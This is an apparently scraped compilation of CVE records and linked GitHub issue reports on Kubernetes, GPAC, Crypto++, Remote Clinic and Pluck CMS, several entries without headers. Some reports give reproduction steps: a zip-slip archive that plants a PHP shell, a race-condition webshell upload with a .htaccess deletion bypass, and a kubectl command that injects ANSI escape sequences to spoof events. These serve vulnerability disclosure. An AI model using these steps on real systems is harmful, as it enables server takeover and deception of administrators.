CVE-2020-8561

2021-09-20T17:15:08.187

A security issue was discovered in Kubernetes where actors that control the responses of MutatingWebhookConfiguration or ValidatingWebhookConfiguration requests are able to redirect kube-apiserver requests to private networks of the apiserver. If that user can view kube-apiserver logs when the log level is set to 10, they can view the redirected responses and headers in the logs.

A security issue was discovered in Kubernetes where actors that control the responses of MutatingWebhookConfiguration or ValidatingWebhookConfiguration requests are able to redirect kube-apiserver requests to private networks of the apiserver. If that user can view kube-apiserver logs when the log level is set to 10, they can view the redirected responses and headers in the logs. This issue has been rated **Medium** (https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N) (4.1), and assigned **CVE-2020-8561** ### Am I vulnerable? You may be vulnerable if `--profiling` is enabled on the kube-apiserver and actors who control a validating or mutating webhook can access the kube-apiserver process logs. #### Affected Versions This issue affects all known versions of kube-apiserver. ### How do I mitigate this vulnerability? This issue can be mitigated by not allowing kube-apiserver access to sensitive resources or networks, or to reduce the “-v” flag value to less than 10 and set the “--profiling” flag value to “false” (default value is “true”). Setting the profiling flag to “false” prevents users from dynamically modifying the kube-apiserver log level, and the flag value Webhook requests may still be redirected to private networks with a log level less than 10, but the response body will not be logged. ### Fixed Versions There is no fix for this issue at this time. ### Detection Examining kube-apiserver log responses is the only known method of detection for this issue. If you find evidence that this vulnerability has been exploited, please contact [email protected] #### Acknowledgements This vulnerability was reported by QiQi Xu /triage accepted /lifecycle frozen /area security /kind bug /committee security-response

CVE-2021-25740

2021-09-20T17:15:08.283

A security issue was discovered with Kubernetes that could enable users to send network traffic to locations they would otherwise not have access to via a confused deputy attack.

https://github.com/kubernetes/kubernetes/issues/103675

github.com

A security issue was discovered with Kubernetes that could enable users to send network traffic to locations they would otherwise not have access to via a confused deputy attack. This issue has been rated **Low** severity ([CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N)), and assigned **CVE-2021-25740**. ### Am I vulnerable? If a potential attacker can create or edit Endpoints or EndpointSlices in the Kubernetes API, they can potentially direct a LoadBalancer or Ingress implementation to expose backend IPs the attacker should not have access to. Importantly, if the target’s NetworkPolicy already trusts the Load Balancer or Ingress implementation, NetworkPolicy can not be used to prevent exposure from other namespaces, potentially bypassing any security controls such as LoadBalancerSourceRanges. This issue is a design flaw that cannot be fully mitigated without user-facing changes. With this public announcement, we can begin conversations about a long-term fix. #### Affected Versions All Kubernetes versions are affected. ### How do I mitigate this vulnerability? There is no patch for this issue, and it can currently only be mitigated by restricting access to the vulnerable features. To mitigate the exposure, we recommend restricting write access to Endpoints and EndpointSlices by updating the system:aggregate-to-edit role using the [attached file](https://github.com/kubernetes/kubernetes/files/6823580/aggregate_to_edit_no_endpoints.yaml.txt). This will remove write access to Endpoints from the admin and edit roles: ```shell # Allow kubectl auth reconcile to work kubectl annotate --overwrite clusterrole/system:aggregate-to-edit rbac.authorization.kubernetes.io/autoupdate=true # Test reconcile, then run for real if happy kubectl auth reconcile --remove-extra-permissions -f aggregate_to_edit_no_endpoints.yaml.txt --dry-run kubectl auth reconcile --remove-extra-permissions -f aggregate_to_edit_no_endpoints.yaml.txt # Prevent autoreconciliation back to old state kubectl annotate --overwrite clusterrole/system:aggregate-to-edit rbac.authorization.kubernetes.io/autoupdate=false ``` Note: This will prevent new versions of Kubernetes from reconciling new default permissions to this role. No new default permissions have been added to this role since v1.14.0, but we recommend you remove the autoupdate=false annotation as soon as a fix or other mitigation is possible. For use-cases that need to edit these resources, we recommend creating a new purpose-built Role with the desired permissions, and using it only for those cases. ### Detection Services with an empty selector rely on custom endpoints and are vulnerable to the attack described above. We recommend manually auditing any such usage. The following kubectl command will list all Services in a cluster with their selector: ``` kubectl get svc --all-namespaces -o=custom-columns='NAME:metadata.name,NAMESPACE:metadata.namespace,SELECTOR:spec.selector' ``` Note: Some Services without selectors specified may have their Endpoints managed by other controllers or tools. For example, endpoints for the default/kubernetes Service are managed by the Kubernetes API Server. If you find evidence that this vulnerability has been exploited, please contact [email protected] #### Additional Advisory A similar attack is possible using Ingress implementations that support forwarding to ExternalName Services. This can be used to forward to Services in other namespaces or, in some cases, sensitive endpoints within the Ingress implementation. If you are using the Ingress API, we recommend confirming that the implementation you’re using either does not support forwarding to ExternalName Services or supports disabling the functionality. #### Additional Details See the GitHub issue for more updates: https://github.com/kubernetes/kubernetes/issues/103675 Thank You, Rob Scott on behalf of Kubernetes SIG Network and CJ Cullen on behalf of the Kubernetes Product Security Committee

CVE-2021-25741

2021-09-20T17:15:08.343

A security issue was discovered in Kubernetes where a user may be able to create a container with subpath volume mounts to access files & directories outside of the volume, including on the host filesystem.

https://github.com/kubernetes/kubernetes/issues/104980

A security issue was discovered in Kubernetes where a user may be able to create a container with subpath volume mounts to access files & directories outside of the volume, including on the host filesystem. This issue has been rated **High** ([CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)), and assigned **CVE-2021-25741**. ### Affected Components and Configurations This bug affects kubelet. Environments where cluster administrators have restricted the ability to create hostPath mounts are the most seriously affected. Exploitation allows hostPath-like access without use of the hostPath feature, thus bypassing the restriction. In a default Kubernetes environment, exploitation could be used to obscure misuse of already-granted privileges. #### Affected Versions v1.22.0 - v1.22.1 v1.21.0 - v1.21.4 v1.20.0 - v1.20.10 <= v1.19.14 #### Fixed Versions This issue is fixed in the following versions: v1.22.2 v1.21.5 v1.20.11 v1.19.15 ### Mitigation To mitigate this vulnerability without upgrading kubelet, you can disable the VolumeSubpath feature gate on kubelet and kube-apiserver, and remove any existing Pods making use of the feature. You can also use admission control to prevent less-trusted users from running containers as root to reduce the impact of successful exploitation. ### Detection If you find evidence that this vulnerability has been exploited, please contact [email protected] ### Additional Details See Kubernetes Issue #104980 for more details. ### Acknowledgements This vulnerability was reported by Fabricio Voznika and Mark Wolters of Google. Thanks as well to Ian Coldwater, Duffie Cooley, Brad Geesaman, and Rory McCune for the thorough security research that led to the discovery of this vulnerability.

The issue is being triggered in the function stbl_GetSampleSize() at isomedia/stbl_read.c **To Reproduce** Steps to reproduce the behavior: 1. Compile according to the default configuration ```bash $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box $ make ``` 2. execute command ```bash MP4Box -hint $poc ``` [poc](https://github.com/14isnot40/vul_discovery/blob/master/stbl_GetSampleSize_hbo) can be found here. **Expected behavior** An attacker can exploit this vulnerability by submitting a malicious media file that exploits this issue. This will result in a Denial of Service (DoS) and potentially Information Exposure when the application attempts to process the file. **Screenshots** ASAN Reports ```bash ==94786==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61400000fdd0 at pc 0x000000744231 bp 0x7fffffff83c0 sp 0x7fffffff83b0 READ of size 4 at 0x61400000fdd0 thread T0 #0 0x744230 in stbl_GetSampleSize isomedia/stbl_read.c:135 #1 0x717f3d in Media_GetSample isomedia/media.c:418 #2 0x6cd966 in gf_isom_get_sample_info isomedia/isom_read.c:1692 #3 0x912ed8 in gf_media_get_sample_average_infos media_tools/isom_hinter.c:54 #4 0x913d43 in gf_hinter_track_new media_tools/isom_hinter.c:560 #5 0x41e02e in HintFile (/usr/local/bin/MP4Box+0x41e02e) #6 0x429806 in mp4boxMain (/usr/local/bin/MP4Box+0x429806) #7 0x7ffff615e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #8 0x41d668 in _start (/usr/local/bin/MP4Box+0x41d668) 0x61400000fdd0 is located 0 bytes to the right of 400-byte region [0x61400000fc40,0x61400000fdd0) allocated by thread T0 here: #0 0x7ffff6f02961 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98961) #1 0x7516dd in stbl_AppendSize isomedia/stbl_write.c:1487 SUMMARY: AddressSanitizer: heap-buffer-overflow isomedia/stbl_read.c:135 stbl_GetSampleSize Shadow bytes around the buggy address: 0x0c287fff9f60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c287fff9f70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c287fff9f80: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c287fff9f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff9fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c287fff9fb0: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa 0x0c287fff9fc0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c287fff9fd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c287fff9fe0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c287fff9ff0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c287fffa000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==94786==ABORTING ``` Possible causes of vulnerabilities structure GF_SampleSizeBox 'stsz' member 'sizes' points to an invalid address ```cpp GF_Err stbl_GetSampleSize(GF_SampleSizeBox *stsz, u32 SampleNumber, u32 *Size) { if (!stsz || !SampleNumber || SampleNumber > stsz->sampleCount) return GF_BAD_PARAM; (*Size) = 0; if (stsz->sampleSize && (stsz->type != GF_ISOM_BOX_TYPE_STZ2)) { (*Size) = stsz->sampleSize; } else if (stsz->sizes) { (*Size) = stsz->sizes[SampleNumber - 1]; } return GF_OK; } ``` **System (please complete the following information):** - OS version : Ubuntu 16.04 - GPAC Version : GPAC 0.8.0-e10d39d-master branch

CVE-2021-43398

2021-11-04T21:15:09.520

Crypto++ (aka Cryptopp) 8.6.0 and earlier contains a timing leakage in MakePublicKey(). There is a clear correlation between execution time and private key length, which may cause disclosure of the length information of the private key. This might allow attackers to conduct timing attacks. NOTE: this report is disputed by the vendor and multiple third parties. The execution-time differences are intentional. A user may make a choice of a longer key as a tradeoff between strength and performance. In making this choice, the amount of information leaked to an adversary is of infinitesimal value

https://github.com/weidai11/cryptopp/issues/1080

github.com

I'm using Crypto++ built by the latest version of source code in this repository on Ubuntu 18.04. The function is as follows: ```c++ void ECC_PrivatetoPublic(string priv){ using namespace CryptoPP; clock_t start, finish; ECDSA<ECP, SHA256>::PrivateKey privateKey; ECDSA<ECP, SHA256>::PublicKey publicKey; const Integer privStr(priv.c_str()); const DL_GroupParameters_EC<ECP>& curve = ASN1::secp521r1(); privateKey.Initialize(curve, privStr); privateKey.MakePublicKey(publicKey); std::string x = IntToString<>(publicKey.GetPublicElement().x, 10); std::string y = IntToString<>(publicKey.GetPublicElement().y, 10); printf("%s\n%s\n", x.c_str(), y.c_str()); return; } ``` It seems that the execution time of `privateKey.MakePublicKey(publicKey)` is positively correlated with the length of the private key instead of a constant value. I did a simple experiment and heres the result. But I haven't studied the reason yet.  I suppose this may leak the length information of the input private key and facilitate malicious attacks on key decryption. Besides, the execution time becomes abnormally long when the private key reaches hundreds of bytes long, which causes a little inconvenience to me. Hope you can check this case.

In Remote Clinic v2.0, there are multiple Cross-Site Scripting vulnerabilities via the Contact, Email, Weight, Profession, ref_contact, and address parameters in /patients/register-patient.php are vulnerable due to the _POSTs not being sanitized properly for XSS despite being sent through the friendly function. In Remote Clinic v2.0, there is Stored Cross-Site Scripting and no sanitization for the gender, age, serial parameters when retrieved by _POST in /patients/register-patient.php to be sent to the database. This is possible by changing the values in the dropdowns in the inspect menu. In Remote Clinic v2.0, in patients/edit-patient.php, the Contact, Email, Weight, Profession, ref_contact, and address parameters being edited are not sanitized for Cross-Site Scripting when they are retrieved by _POST. In Remote CLinic v2.0, in patients/edit-patient.php, the serial, age, and gender dropdowns are able to be changed via the inspect menu In Remote Clinic v2.0, in staff/edit-my-profile.php, the Title, First Name, Last Name, Skype, and Address parameters sent by _POST to be put in the database, is unsanitized and prone to Cross-Site Scripting (XSS) In Remote Clinic v2.0, in clinics/settings.php, most of the parameters being passed into the database are sanitized insufficiently. The parameters that allow Cross-Site Scripting are portal_name, guardian_short_name, guardian_name, opening_time, closing_time, access_level_5, access_level_4,access_level_ 3, access_level_2, access_level_1, currency, mobile_number, address, patient_contact, patient_address, and patient_email.

CVE-2021-31745

2021-12-10T18:15:07.463

Session Fixation vulnerability in login.php in Pluck-CMS Pluck 4.7.15 allows an attacker to sustain unauthorized access to the platform. Because Pluck does not invalidate prior sessions after a password change, access can be sustained even after an administrator performs regular remediation attempts such as resetting their password.

https://github.com/pluck-cms/pluck/issues/99

github.com

**Issue Summary** A session-fixation vulnerability exists within Pluck's administrative login system which can be abused to retain a valid login session even after an administrator has changed their password. **Detailed Description** It is possible to arbitrarily set the session ID of Pluck's "PHPSESSID" cookie. This cookie is used for maintaining administrative login sessions. This can be used in a session-fixation attack, for example, to sustain unauthorized access to the CMS after already gaining it through a primary vulnerability. Furthermore, Pluck does not expire sessions in a timely manner nor are sessions bound in any other way. This also allows an easier brute force attack, as it is possible to brute-force session IDs without rate-limits imposed by the normal login process. <img width="1633" alt="sessfix" src="https://user-images.githubusercontent.com/2632588/115493762-3579f800-a219-11eb-8f34-6dc7071fa85e.png"> **Reproduction Steps** 1. From Google Chrome, open the developer tools menu, navigate to: Application > Storage -> Cookies -> <PLUCK_DOMAIN> 2. Change the value of the "PHPSESSID" cookkie to an arbitrary value, such as "wolf". 3. Login to the pluck administrative panel, by visiting <PLUCK_DOMAIN>/login.php and login to the panel. 4. On a new browser, repeat steps 1 and 2. 5. On step 3, you will be given access without being prompted for administrative credentials. **Impact** After any primary exploit has occurred, the session fixation attack can be used in order to sustained unauthorized access. Because Pluck does not invalidate prior sessions after a password change, access can be sustained even after an administrator performs regular remediation attempts such as resetting their password.

2021-12-10T18:15:07.653

Zip Slip vulnerability in Pluck-CMS Pluck 4.7.15 allows an attacker to upload specially crafted zip files, resulting in directory traversal and potentially arbitrary code execution.

https://github.com/pluck-cms/pluck/issues/100

github.com

**Issue Summary** Pluck's module and theme installers are vulnerable to directory traversal (via zip slip). **Detailed Description** It is possible to upload a malicious zip file in order to traverse directories outside of the intended environment, potentially allowing arbitrary code execution which will run with the permissions of the user assigned to the webserver. **Reproduction Steps** 1. Using the [evilarc tool](https://github.com/ptoomey3/evilarc), create a zip archive containing a PHP file with a depth of 2 `(python evilarch.py shell.php -d 2 -f wolf.zip)` 2. Visit `<pluck_domain>/admin.php?action=themeinstall `and upload the malicious `wolf.zip` you created. 3. Visit `<pluck_domain>/shell.php` and you now have a PHP shell. **Impact** This vulnerability makes remote code execution under the privileges of the user running the webserver application possible.

CVE-2021-27984

2021-12-10T19:15:07.783

In Pluck-4.7.15 admin background a remote command execution vulnerability exists when uploading files.

https://github.com/pluck-cms/pluck/issues/98

github.com

I uploaded any file in the "manage files" section, here I uploaded a "1.jpg".  Found two files at the upload folder.  Looked at the source code for the delete file function. On lines 21 and 22 of "data/in/deletefile.php", the logic is that the file ".htaccess" is not allowed to be deleted. But it can be bypassed.  I clicked on the delete button on the page for "1.jpg" and sniffered the packet.  Change the value of the request parameter "var" to ".Htaccess" (the suffix name is not case sensitive in Windows)  ".Htaccess" is already in the trash.  The ".htaccess" in the upload folder has been copied to the trash folder.  Looked at the source code for the upload function, lines 34 to 52 of "data/in/file.php".  The code logic is as follows. 1. First check if the file suffix is ".htaccess". 2. then check if the file suffix is in the blacklist. 3. If the suffix is in the blacklist, add the suffix ".txt" for renaming and give permission. 4. If the suffix name is not in the blacklist, then give permission directly. Use race condition for attacks. First I create a "phpinfo.php" file. poc: <?php phpinfo();?>  Upload the file and sniffer a packet of the upload request and send it to intruder (add variable a=1 to keep sniffering the request packet).  Then sniffer a packet that accesses the file and send it to intruder.  Both intruder types are selected as "Numbers" and the number is 10000.  Threads are set to 20.  Start the attack, when the status of the request to access the file is 200, it means that the file was uploaded successfully and the code was executed.   Upload webshell with race condition and successfully gain access to the server. exploit：   (Note: the ".php" file only exists when the race condition is in place, if the race condition is stopped the ".php" file will still be a ".php.txt" file, so the shell will disconnect. The shell will then disconnect. (So maintaining permissions requires that race condition be maintained at all times) From: [email protected]

Missing SSL Certificate Validation issue exists in Pluck 4.7.15 in update_applet.php, which could lead to man-in-the-middle attacks.

https://github.com/pluck-cms/pluck/issues/101

github.com

**Issue Summary** Pluck's update system deliberately skips SSL certificate validation. **Detailed Description** Within update_applet.php is the following code: ``` // Dont check ssl certifical curl_setopt($geturl, CURLOPT_SSL_VERIFYPEER, false); ``` This ensures peer SSL certificates are never valdiated. **Impact** In theory, this vulnerability can make the Pluck's update system susceptible to Man-in-the-middle attacks.

Specifically, in the `parseSWF_DEFINELOSSLESS2` function, the size of `end` and `fileOffset` is not compared when `readBytes` is called. As a result, `end-fileOffset` may be a negative integer, which eventually leads to allocation failure. The detailed call chain analysis is as follows.

CVE-2021-25743

2022-01-07T00:15:07.817

kubectl does not neutralize escape, meta or control sequences contained in the raw data it outputs to a terminal. This includes but is not limited to the unstructured string fields in objects such as Events.

https://github.com/kubernetes/kubernetes/issues/101695

github.com

It is a security issue, but after contacting [email protected], Tim and the team confirmed that they are comfortable posting it publicly. #### What happened: Kubernetes doesn't sanitize the 'message' field in the Event JSON objects. Notice that this is relevant only to JSON objects, not YAML objects. By creating new event, we can insert ANSI escape characters inside the "message" field, like: ``` "\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done" ``` This an example of such JSON request: ``` { "apiVersion": "v1", "involvedObject": { "kind": "Node", "name": "node01", "uid": "node01" }, "kind": "Event", "message": "\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done", "metadata": { "name": "spoofEvent", "namespace": "default" }, "source": { "component": "kubelet", "host": "node01" }, "type": "Normal" } ``` The codes: `\u001b[2J` -> Clean the screen and history `\u001b[3J` -> Clean the entire screen and delete all lines saved in the scrollback buffer `\u001b[1;1H` -> Moves the cursor position to row 1, column 1 (beginning). `\u001b[m` -> Set the colors `\u001b[60C` -> Move the cursor forward 60 steps `\u001b[1;1m` -> Set the text colors to white The result is that the text was spoofed, and we could spoof the events, create hidden events, or hide other events. #### What you expected to happen: The ANSI escape characters will be filtered so they couldn't affect the terminal (i.e. using embeded ANSI colors won't do anything to the terminal). Or maybe some message that says that you can't use ANSI escape characters. #### How to reproduce it (as minimally and precisely as possible): 1. Run this code: ``` kubectl create -f - <<EOF { "apiVersion": "v1", "involvedObject": { "kind": "Node", "name": "node01", "uid": "node01" }, "kind": "Event", "message": "\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done", "metadata": { "name": "spoofEvent", "namespace": "default" }, "source": { "component": "kubelet", "host": "node01" }, "type": "Normal" } EOF ``` It will create a new event. 2. Run `kubectl get events`, you will see that the screen was clear, you will get a "spoof" message, and all the rest events or columns were gone. #### Anything else we need to know?: It might look like a low severity issue, but there are other variety of things we can do, from DoS by using colors to hide all the events, changing the title of the terminal window, and spoof the data. It can affect other systems that are using Kubernetes events, such as monitoring applications. It doesn't have to be only the Kubernetes events. There might be other vulnerable objects that we didn't find or other systems that create new objects that count on this mechanism. ANSI escape characters were used to abuse terminals emulators and even cause code execution if the terminal is vulnerable (like CVE-2003-0069). #### Environment: - Kubernetes version (use `kubectl version`): ``` Client Version: version.Info{Major:"1", Minor:"20", GitVersion:"v1.20.4", GitCommit:"e87da0bd6e03ec3fea7933c4b5263d151aafd07c", GitTreeState:"clean", BuildDate:"2021-02-18T16:12:00Z", GoVersion:"go1.15.8", Compiler:"gc", Platform:"linux/amd64"} Server Version: version.Info{Major:"1", Minor:"20", GitVersion:"v1.20.2", GitCommit:"faecb196815e248d3ecfb03c680a4507229c2a56", GitTreeState:"clean", BuildDate:"2021-01-13T13:20:00Z", GoVersion:"go1.15.5", Compiler:"gc", Platform:"linux/amd64"} ``` - Cloud provider or hardware configuration: - OS (e.g: `cat /etc/os-release`): ``` NAME="Ubuntu" VERSION="16.04.7 LTS (Xenial Xerus)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 16.04.7 LTS" VERSION_ID="16.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" VERSION_CODENAME=xenial UBUNTU_CODENAME=xenial ``` - Kernel (e.g. `uname -a`): ``` Linux manager1 4.15.0-140-generic #144~16.04.1-Ubuntu SMP Fri Mar 19 21:24:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux ``` - Install tools: minikube ``` minikube version: v1.19.0 commit: 15cede53bdc5fe242228853e737333b09d4336b5 ``` - Network plugin and version (if this is a network-related bug): - Others: we also reproduced it in Kubernetes (not minikube) version 1.18
